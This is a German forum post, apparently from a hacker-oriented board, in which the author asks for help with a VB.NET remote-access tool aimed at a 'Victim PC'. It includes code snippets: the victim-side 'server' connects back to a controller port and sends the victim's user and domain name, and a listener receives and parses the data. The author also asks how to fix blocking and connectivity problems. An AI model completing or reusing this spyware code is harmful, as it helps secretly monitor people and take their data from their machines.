ALso:

Ich Hab beim Server zwei Timer. Der eine Verbindet sich zum Client. Dann wird der andere gestartet und der prüft ob Daten ankommen. Wenn ja prüft er die Daten ab. Klappt alles... Dann Hab ich im Client Einen Timer. Der prüft nur ob Der Vic Off is oder nicht. So Jetzt gibts mehrere Probleme:

1. Wenn ich starte abzuhöhren, bleibt das Programm hängen bis eine Connection aufgebaut wird.

2. Klappt die Connection nur wenn der Port auf dem Victim PC offen ist. Der Code sieht wie folgt aus. Im Client:

Code:
        TCPServer.Start()
        Client = TCPServer.AcceptTcpClient
        Dim Stream As NetworkStream = Client.GetStream()
        Dim bytes(Client.ReceiveBufferSize) As Byte
        Stream.Read(bytes, 0, CInt(Client.ReceiveBufferSize))
        Dim ErhalteneDaten As String = Encoding.ASCII.GetString(bytes)
        Dim abc() As String = Split(ErhalteneDaten, "|")
Im Server:

Code:
            If Client.Connected = True Then
                Dim abc() As String = Split(My.User.Name, "\")
                Dim Stream As NetworkStream = Client.GetStream()
                Dim Daten As [Byte]() = Encoding.ASCII.GetBytes("|PCName|Default|" & abc(1) & "|" & abc(0))
                Stream.Write(Daten, 0, Daten.Length)
                trSocket.Enabled = True
                trConnect.Enabled = False
                Exit Sub
            End If
            Client.Connect("127.0.0.1", 4000)